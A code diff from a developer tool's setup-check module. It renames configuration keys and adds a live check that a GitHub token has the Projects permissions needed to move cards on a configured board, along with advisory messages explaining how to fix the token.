  "1. Add the board's URL to package.json, as the browser shows it on the board (`/orgs/<org>/…` for an organization board, `/users/<login>/…` for a personal one; a trailing `/views/<n>` is fine):\n\n" +
196
197
  ' "bkit": {\n' +
197
- ' "github": { "project": "https://github.com/orgs/<org>/projects/<number>" }\n' +
198
+ ' "tracker": {\n' +
199
+ ' "github": { "project": "https://github.com/orgs/<org>/projects/<number>" }\n' +
200
+ " }\n" +
198
201
  " }\n\n" +
199
202
  " Workflows set the board's Status field by option name: `In progress` when a phase starts, `In review` at hand-off. " +
200
203
  'A board whose Status options are named differently sets `"progress"` and `"review"` beside `"project"` to its own names.\n\n' +
@@ -203,7 +206,78 @@ export function buildGithubProjectAdvisory(cwd) {
203
206
  "3. The `BKIT_GH_TOKEN` PAT needs Projects read & write (repo scope is not enough): a fine-grained PAT gets it as an " +
204
207
  "organization permission, so it reaches organization boards only; a classic PAT with the `project` scope reaches " +
205
208
  "organization and personal boards.\n\n" +
206
- "To opt out and silence this advisory, set `bkit.github.project` to `false` in package.json.",
209
+ "To opt out and silence this advisory, set `bkit.tracker.github.project` to `false` in package.json.",
210
+ };
211
+ }
212
+ /** `gh` run with the token the engine uses for tracker calls: BKIT_GH_TOKEN as GH_TOKEN when set. */
213
+ function ghAsEngine(args) {
214
+ const token = process.env.BKIT_GH_TOKEN;
215
+ return execFileSync("gh", args, {
216
+ encoding: "utf-8",
217
+ stdio: ["ignore", "pipe", "pipe"],
218
+ timeout: 5000,
219
+ env: token ? { ...process.env, GH_TOKEN: token } : process.env,
220
+ });
221
+ }
222
+ /**
223
+ * Whether the engine's token can move cards on the configured board: "present",
224
+ * "missing", or "unknown" (gh unavailable or unauthenticated). A classic token lists its
225
+ * scopes in `X-OAuth-Scopes` and needs `project`; a fine-grained token lists none, so the
226
+ * board itself is queried.
227
+ */
228
+ export function detectProjectTokenScope(owner, number) {
229
+ let head;
230
+ try {
231
+ head = ghAsEngine(["api", "-i", "user"]).split(/\r?\n\r?\n/)[0] ?? "";
232
+ }
233
+ catch {
234
+ return "unknown";
235
+ }
236
+ const scopes = /^x-oauth-scopes:(.*)$/im.exec(head);
237
+ if (scopes) {
238
+ const list = scopes[1].split(",").map((x) => x.trim());
239
+ return list.includes("project") ? "present" : "missing";
240
+ }
241
+ const field = "projectV2(number: $n) { id }";
242
+ try {
243
+ const out = ghAsEngine([
244
+ "api",
245
+ "graphql",
246
+ "-f",
247
+ `query=query($login: String!, $n: Int!) { repositoryOwner(login: $login) { ... on User { ${field} } ... on Organization { ${field} } } }`,
248
+ "-f",
249
+ `login=${owner}`,
250
+ "-F",
251
+ `n=${number}`,
252
+ ]);
253
+ const parsed = parseJson(out);
254
+ const data = (parsed.ok ? parsed.value : null);
255
+ return data?.data?.repositoryOwner?.projectV2?.id ? "present" : "missing";
256
+ }
257
+ catch {
258
+ return "missing";
259
+ }
260
+ }
261
+ /**
262
+ * The engine moves board cards with `BKIT_GH_TOKEN`; a token that cannot reach the board
263
+ * makes every move fall back to the MCP. Checked live, so it runs only when a board is
264
+ * configured, the tracker is GitHub, and not on cloud / CI (no interactive owner to fix it).
265
+ */
266
+ export function buildGithubProjectTokenScopeAdvisory(cwd) {
267
+ const config = readBkitConfig(cwd);
268
+ const board = config.github.project;
269
+ if (config.issueTracker !== "github" || !board || isCloudOrCi())
270
+ return null;
271
+ if (detectProjectTokenScope(board.owner, board.number) !== "missing")
272
+ return null;
273
+ return {
274
+ id: "github-project-token-scope",
275
+ severity: "advisory",
276
+ detect: `The GitHub token cannot reach the board \`${config.github.projectUrl}\`: a classic token lacks the \`project\` scope, ` +
277
+ "or a fine-grained token's board query returned nothing. Board moves fall back to the MCP.",
278
+ action: "Give `BKIT_GH_TOKEN` Projects read & write: a classic PAT needs the `project` scope (reaches organization and personal boards); " +
279
+ "a fine-grained PAT needs the organization permission Projects: Read and write (organization boards only). " +
280
+ "Then re-run `bkit check`.",
207
281
  };
208
282
  }
209
283
  /**
@@ -213,15 +287,15 @@ export function buildGithubProjectAdvisory(cwd) {
213
287
  * consumers to make the choice post-install.
214
288
  *
215
289
  * Also performs the cloud=claude config-consistency assertion: when
216
- * `bkit.cloudAgents === "claude"` but the installed `bkit-cloud.yml` lacks
290
+ * `bkit.cloud.agent === "claude"` but the installed `bkit-cloud.yml` lacks
217
291
  * `id-token: write`, it surfaces a consistency warning (exit-1 signal surfaced via
218
292
  * the `blocker` severity in the checks/before/index.ts caller).
219
293
  *
220
294
  * Resolution order (file presence is authoritative, package.json field is the
221
295
  * opt-out):
222
296
  * - `.github/workflows/bkit-cloud.yml` present → `cloud-router` (informational; active)
223
- * - `bkit.cloudAgents === "none"` → null (opt-out — stay quiet)
224
- * - `bkit.issueTracker === "jira"` → null (Jira runs locally only)
297
+ * - `bkit.cloud.agent === "none"` → null (opt-out — stay quiet)
298
+ * - `bkit.tracker.default === "jira"` → null (Jira runs locally only)
225
299
  * - otherwise (undecided) → `cloud-router-none` (nudge to choose)
226
300
  *
227
301
  * Only fires when there is a `.github/workflows/` dir (the router wakes on a CI
@@ -239,7 +313,7 @@ export function buildCloudSetupAdvisory(cwd) {
239
313
  return {
240
314
  id: "cloud-claude-missing-id-token",
241
315
  severity: "blocker",
242
- detect: "`bkit.cloudAgents` is `claude` but `.github/workflows/bkit-cloud.yml` lacks `id-token: write`. `claude-code-action@v1` will fail at boot with an OIDC error.",
316
+ detect: "`bkit.cloud.agent` is `claude` but `.github/workflows/bkit-cloud.yml` lacks `id-token: write`. `claude-code-action@v1` will fail at boot with an OIDC error.",
243
317
  action: "Re-run `pnpm bkit install --auto=claude --tracker=github` to regenerate the workflow with `id-token: write` and the App-auth framing. Also verify the Claude GitHub App is installed (`/install-github-app`). See bkit's `cloud.md` § Post-CI auto-routing.",
244
318
  };
245
319
  }
@@ -267,6 +341,6 @@ export function buildCloudSetupAdvisory(cwd) {
267
341
  detect: "Cloud agents: post-CI auto-routing is not configured. `.github/workflows/` exists but no `bkit-cloud.yml` — CI pass/fail does not auto-dispatch bkit-ship / bkit-debug.",
268
342
  action: "Optional post-install decision. For a GitHub-tracker repo: `pnpm bkit install --auto=claude --tracker=github`. For a Linear-tracker repo: `pnpm bkit install --auto=cursor --tracker=linear`.\n\n" +
269
343
  "Prerequisites for `--auto=claude`: `ANTHROPIC_API_KEY` repo secret (or the `ANTHROPIC_FEDERATION_RULE_ID` + `ANTHROPIC_ORGANIZATION_ID` repo variables for keyless workload identity federation) + Claude GitHub App (`/install-github-app`) + GitHub Actions write permissions.\n\n" +
270
- 'To opt out and silence this advisory, set `bkit.cloudAgents` to `"none"` in package.json.',
344
+ 'To opt out and silence this advisory, set `bkit.cloud.agent` to `"none"` in package.json.',
271
345
  };
272
346
  }